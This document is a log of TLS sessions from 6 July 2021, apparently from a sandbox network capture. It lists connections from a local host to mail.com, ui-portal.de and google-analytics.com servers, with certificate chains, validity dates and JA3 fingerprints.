Jul 6, 2021 14:30:54.704452038 CEST	82.165.229.59	443	192.168.2.5	49747	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:54.704452038 CEST	82.165.229.59	443	192.168.2.5	49747	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:54.705024958 CEST	82.165.229.59	443	192.168.2.5	49746	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:54.705024958 CEST	82.165.229.59	443	192.168.2.5	49746	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.193104029 CEST	142.250.180.206	443	192.168.2.5	49756	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.193104029 CEST	142.250.180.206	443	192.168.2.5	49756	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.205611944 CEST	142.250.180.206	443	192.168.2.5	49755	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.205611944 CEST	142.250.180.206	443	192.168.2.5	49755	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.634536028 CEST	82.165.229.16	443	192.168.2.5	49759	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.634536028 CEST	82.165.229.16	443	192.168.2.5	49759	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.635529041 CEST	82.165.229.16	443	192.168.2.5	49760	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:55.635529041 CEST	82.165.229.16	443	192.168.2.5	49760	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:56.690526009 CEST	195.20.250.115	443	192.168.2.5	49763	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:56.690526009 CEST	195.20.250.115	443	192.168.2.5	49763	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:56.708976030 CEST	195.20.250.115	443	192.168.2.5	49764	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:30:56.708976030 CEST	195.20.250.115	443	192.168.2.5	49764	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.882210016 CEST	82.165.229.87	443	192.168.2.5	49767	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.882210016 CEST	82.165.229.87	443	192.168.2.5	49767	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.882870913 CEST	82.165.229.87	443	192.168.2.5	49768	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.882870913 CEST	82.165.229.87	443	192.168.2.5	49768	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.886497974 CEST	82.165.229.87	443	192.168.2.5	49766	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.886497974 CEST	82.165.229.87	443	192.168.2.5	49766	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.886636972 CEST	82.165.229.87	443	192.168.2.5	49765	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:03.886636972 CEST	82.165.229.87	443	192.168.2.5	49765	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.141639948 CEST	82.165.229.59	443	192.168.2.5	49769	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.141639948 CEST	82.165.229.59	443	192.168.2.5	49769	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.141856909 CEST	82.165.229.59	443	192.168.2.5	49770	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.141856909 CEST	82.165.229.59	443	192.168.2.5	49770	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.148463964 CEST	82.165.229.59	443	192.168.2.5	49772	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.148463964 CEST	82.165.229.59	443	192.168.2.5	49772	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.148516893 CEST	82.165.229.59	443	192.168.2.5	49771	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.148516893 CEST	82.165.229.59	443	192.168.2.5	49771	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.739159107 CEST	142.250.180.206	443	192.168.2.5	49789	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.739159107 CEST	142.250.180.206	443	192.168.2.5	49789	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.745500088 CEST	142.250.180.206	443	192.168.2.5	49790	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.745500088 CEST	142.250.180.206	443	192.168.2.5	49790	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.777529955 CEST	142.250.180.206	443	192.168.2.5	49783	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.777529955 CEST	142.250.180.206	443	192.168.2.5	49783	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.777858973 CEST	142.250.180.206	443	192.168.2.5	49782	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:04.777858973 CEST	142.250.180.206	443	192.168.2.5	49782	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:05.985918999 CEST	82.165.229.16	443	192.168.2.5	49795	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:05.985918999 CEST	82.165.229.16	443	192.168.2.5	49795	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:05.991597891 CEST	82.165.229.54	443	192.168.2.5	49797	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:05.991597891 CEST	82.165.229.54	443	192.168.2.5	49797	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.002479076 CEST	82.165.229.16	443	192.168.2.5	49796	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.002479076 CEST	82.165.229.16	443	192.168.2.5	49796	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.062083960 CEST	82.165.229.54	443	192.168.2.5	49798	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.062083960 CEST	82.165.229.54	443	192.168.2.5	49798	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.062827110 CEST	82.165.229.54	443	192.168.2.5	49799	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.062827110 CEST	82.165.229.54	443	192.168.2.5	49799	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
